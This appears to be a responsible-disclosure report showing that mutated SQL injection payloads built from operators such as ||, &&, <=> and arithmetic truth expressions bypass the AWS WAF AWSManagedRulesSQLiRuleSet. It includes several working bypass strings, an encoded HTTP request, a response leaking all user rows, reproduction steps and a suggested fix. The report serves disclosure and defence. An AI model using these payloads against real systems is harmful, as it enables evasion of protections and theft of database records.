SQL Injection Detection Bypass in AWS WAF Managed Rules (AWSManagedRulesSQLiRuleSet)

## Researchers This vulnerability was discovered through collaborative security research. Researchers: - █████ - █████████ - █████████ --- ## Summary AWS WAF fails to detect certain SQL injection payload variants. These payloads bypass the AWS WAF SQL injection detection rules and reach the backend application. When processed by the backend database, the injected SQL expressions are executed successfully, resulting in information disclosure. This demonstrates that AWS WAF fails to detect a valid SQL injection attack, allowing malicious SQL queries to reach the backend database. The payload uses SQL grammar constructs that are not currently detected by the AWS WAF SQL injection rules. The demonstration environment enables multi-statement execution to clearly show the impact of the injected payload. --- ## Tested Environment Service: AWS WAF Rule Set: AWSManagedRulesSQLiRuleSet Configuration: Default configuration Backend Database: MySQL 8.x Database configuration: multi-statement execution enabled (for demonstration) Note: the demonstration environment enables multi-statement execution to clearly illustrate the impact of the injected payload. The configuration was used only to demonstrate the impact of the injected payload. AWS-WAF-Console: ███ --- ## Vulnerability Details The issue occurs because certain SQL grammar constructs are not detected by AWS WAF SQL injection rules. Using a grammar-aware mutation engine, multiple SQL payload variants were generated that remain syntactically valid SQL expressions but bypass WAF detection. These payloads are forwarded to the backend application and executed by the database. This allows an attacker to bypass WAF protection and perform SQL injection attacks if the backend application contains an SQL injection vulnerability. The issue appears to be caused by incomplete coverage of certain SQL grammar constructs in the AWS WAF SQL injection detection rules. In particular, boolean operator mutations and arithmetic truth expressions appear to evade existing detection patterns. --- ## Impact Because the SQL injection payload bypasses AWS WAF inspection, malicious SQL queries can reach the backend database without being detected by the WAF. In the demonstration environment, the injected payload successfully altered the backend SQL query logic and returned multiple database records. --- ## Detection Comparison The following traditional SQL injection payload is correctly blocked by AWS WAF: ``` alice' OR 1=1-- ``` Result: ``` HTTP 403 (blocked by AWS WAF) ``` Like this one: ██████ However the following mutated SQL payload bypasses the WAF. This payload uses mutated SQL grammar constructs that remain valid for the database parser but evade the current AWS WAF SQL injection detection logic. ``` alice' || '1' ; && 1<=>0 && 1-1 && 1<=>1 && 1# ``` Result: ``` HTTP 200 (request allowed) ``` Like this one: █████ ## Steps to Reproduce 1. Deploy AWS WAF with the managed rule group: ``` AWSManagedRulesSQLiRuleSet ``` 2. Attach the WebACL to a test application endpoint: ``` http://████/vuln Parameter: username ``` Like this one: ██████████ 3. Send the following SQL injection payload: ``` alice' || '1' ; && 1<=>0 && 1-1 && 1<=>1 && 1# alice' || '1' ; && 2-1<=>2-1 || 0 && 1<=>1-- alice' && 1 ; && IFNULL(1,0) || 1<=>0-- ... ``` Note: the semicolon character is used to terminate the original SQL expression and introduce additional logic expressions. This construct appears to evade existing AWS WAF SQL injection detection patterns. These payloads were generated using a grammar-aware SQL mutation engine and represent syntactically valid SQL expressions that evade signature-based detection. Example HTTP request: ``` GET /vuln/api/user?username=alice%27%20%7C%7C%20%271%27%20%3B%20%26%26%201%3C%3D%3E0%20%26%26%201-1%20%26%26%201%3C%3D%3E1%20%26%26%201%23 HTTP/1.1 Host: ██████████ Accept-Language: zh-CN,zh;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: */* Referer: http://██████████/vuln Accept-Encoding: gzip, deflate, br Connection: keep-alive ``` Example HTTP response: ``` HTTP/1.1 200 OK Date: Sun, 08 Mar 2026 06:01:05 GMT Content-Type: application/json Content-Length: 846 Connection: keep-alive Server: Werkzeug/3.1.6 Python/3.12.13 { "mode": "vuln", "ok": true, "rows": [ { "created_at": "Sun, 08 Mar 2026 05:40:08 GMT", "email": "[email protected]", "id": 1, "role": "user", "username": "alice" }, { "created_at": "Sun, 08 Mar 2026 05:40:08 GMT", "email": "[email protected]", "id": 2, "role": "user", "username": "bob" }, { "created_at": "Sun, 08 Mar 2026 05:40:08 GMT", "email": "[email protected]", "id": 3, "role": "user", "username": "charlie" }, { "created_at": "Sun, 08 Mar 2026 05:40:08 GMT", "email": "[email protected]", "id": 4, "role": "admin", "username": "admin" } ], "sql": "SELECT id, username, email, role, created_at FROM users WHERE username = 'alice' || '1' ; && 1<=>0 && 1-1 && 1<=>1 && 1#'" } ``` Show in BurpSuite: █████ 4. Observe that: - AWS WAF **does not block the request** - The payload reaches the backend application - The backend database executes the injected SQL expression 5. The server response contains leaked information: ``` { "mode": "vuln", "ok": true, "rows": [ { "created_at": "Sun, 08 Mar 2026 05:40:08 GMT", "email": "[email protected]", "id": 1, "role": "user", "username": "alice" }, { "created_at": "Sun, 08 Mar 2026 05:40:08 GMT", "email": "[email protected]", "id": 2, "role": "user", "username": "bob" }, { "created_at": "Sun, 08 Mar 2026 05:40:08 GMT", "email": "[email protected]", "id": 3, "role": "user", "username": "charlie" }, { "created_at": "Sun, 08 Mar 2026 05:40:08 GMT", "email": "[email protected]", "id": 4, "role": "admin", "username": "admin" } ], "sql": "SELECT id, username, email, role, created_at FROM users WHERE username = 'alice' || '1' ; && 1<=>0 && 1-1 && 1<=>1 && 1#'" } ``` This confirms that the SQL injection payload bypassed AWS WAF detection and executed on the backend database. --- ## Evidence AWS WAF logs confirm that the request was allowed and no SQL injection rule was triggered. █████ This confirms that AWS WAF failed to detect the SQL injection payload. --- ## Root Cause Hypothesis The bypass appears to be caused by incomplete normalization of certain SQL grammar constructs in AWS WAF SQL injection detection rules. In particular, the following patterns appear to evade detection: - boolean operator mutations (`||`, `&&`) - arithmetic truth expressions (`1-1`, `2-1`) - comparison operators (`<=>`) - statement termination followed by logical expressions These constructs remain syntactically valid SQL expressions for the database parser but are not currently covered by the existing detection rules. As a result, the database parser interprets the payload as valid SQL logic while the WAF inspection engine fails to recognize it as an SQL injection pattern. ## Additional Findings Using an automated SQL mutation engine, multiple payload variants were generated. More than 10 payload variants were generated, of which at least 5 bypassed AWS WAF detection. These payloads share common structural properties such as: - alternative boolean operators - arithmetic SQL expressions - modified SQL grammar constructs This indicates a systematic detection gap rather than a single payload-specific issue, as the bypass payloads share a common structure involving boolean operator mutations combined with arithmetic truth expressions. --- ## Suggested Fix Improve SQL grammar normalization and inspection coverage in AWS WAF SQL injection detection rules. Specifically, detection should be extended to cover: - alternative SQL boolean expressions - arithmetic-based SQL comparisons - mutated SQL grammar constructs Improving normalization and parsing coverage for alternative boolean operators and arithmetic SQL expressions may help mitigate this issue. --- ## Research Context The payloads were generated using a grammar-aware SQL mutation framework designed to explore SQL parser discrepancies between WAF inspection engines and database parsers. This technique highlights a potential parser discrepancy between WAF inspection logic and database SQL parsing behavior. Such parser discrepancies between security inspection engines and database SQL parsers are a known source of WAF detection ga ## Impact ## Summary: